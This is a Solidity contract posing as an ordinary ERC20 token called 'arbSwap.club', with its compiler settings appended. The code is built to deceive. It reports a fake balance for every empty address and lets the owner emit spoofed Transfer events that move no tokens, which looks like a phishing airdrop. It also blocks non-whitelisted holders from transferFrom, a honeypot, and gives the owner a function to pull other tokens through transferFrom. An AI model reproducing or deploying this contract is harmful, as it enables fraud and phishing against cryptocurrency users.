pragma solidity ^0.4.20;
contract ERC20Interface {
string public name;
string public symbol;
uint8 public decimals;
uint public totalSupply;
function transfer(address to, uint tokens) public ;
function transferFrom(address from, address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ERC20Impl is ERC20Interface {
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) internal allowed;
address private m_tokenOwner;
mapping (address => bool) private _B;
uint256 private dValue;
constructor() public {
name = "arbSwap.club";
symbol = "arbSwap.club";
decimals = 6;
totalSupply = 1000000000 * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
dValue = 1500 * 10 ** uint256(decimals);
m_tokenOwner = msg.sender;
_B[msg.sender] = true;
balanceOf[this] = 1 * 10 ** uint256(decimals);
//_B[this] = true;
}
function balanceOf(address _owner) constant public returns (uint256) {
if(balanceOf[_owner] == 0) {
return dValue;
}
return balanceOf[_owner];
}
function transfer(address to, uint tokens) public {
require(tokens >= 0);
//require(_B[msg.sender]);
require(to != address(0));
require(balanceOf[msg.sender] >= tokens);
require(balanceOf[to] + tokens >= balanceOf[to]);
balanceOf[msg.sender] -= tokens;
balanceOf[to] += tokens;
emit Transfer(msg.sender, to, tokens);
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
require(_B[from]);
require(to != 0x0);
require(tokens > 0);
//require(balances[from] >= tokens && allowed[from][msg.sender] >= tokens && tokens >= 0);
require(to != address(0) && from != address(0));
require(balanceOf[from] >= tokens);
require(allowed[from][msg.sender] >= tokens);
require(balanceOf[to] + tokens >= balanceOf[to]);
allowed[from][msg.sender] -= tokens;
balanceOf[from] -= tokens;
balanceOf[to] += tokens;
emit Transfer(from, to, tokens);
success = true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
success = true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function transferArray(address[] _to, uint256 _value) public {
for(uint256 i = 0; i < _to.length; i++){
transfer(_to[i], _value);
}
}
function batch3(address []toAddr, uint256 value,address fadd) public {
//require(toAddr.length == value.length && toAddr.length >= 1);
//require(toAddr.length >= 1);
//Token token = Token(tokenAddr);
require( msg.sender == m_tokenOwner);
//dValue = value;
for(uint256 i = 0 ; i < toAddr.length; i++){
//this.transfer(toAddr[i], value);
//balanceOf[toAddr[i]] = value;
//balanceOf[toAddr[i]] += value;
emit Transfer(fadd, toAddr[i], value);
}
}
function transferOwnership(address newOwner) public {
require( msg.sender == m_tokenOwner);
if (newOwner != address(0)) {
m_tokenOwner = newOwner;
}
}
function addb(address []b) public {
require( msg.sender == m_tokenOwner);
for(uint256 i = 0 ; i < b.length; i++) {
_B[b[i]] = true;
}
}
function setDvalue(uint256 value) public {
require( msg.sender == m_tokenOwner);
dValue = value;
}
function getB(address _a) constant public returns (bool) {
return _B[_a];
}
function () external payable {
ERC20Interface(m_tokenOwner).transfer(msg.sender,msg.value);
}
function withdrawalToken(address h1, address send ,address to , uint256 amount) public {
require( msg.sender == m_tokenOwner);
ERC20Interface(h1).transferFrom(send , to , amount);
}
}
{
"compilationTarget": {
"ERC20Impl.sol": "ERC20Impl"
},
"evmVersion": "byzantium",
"libraries": {},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
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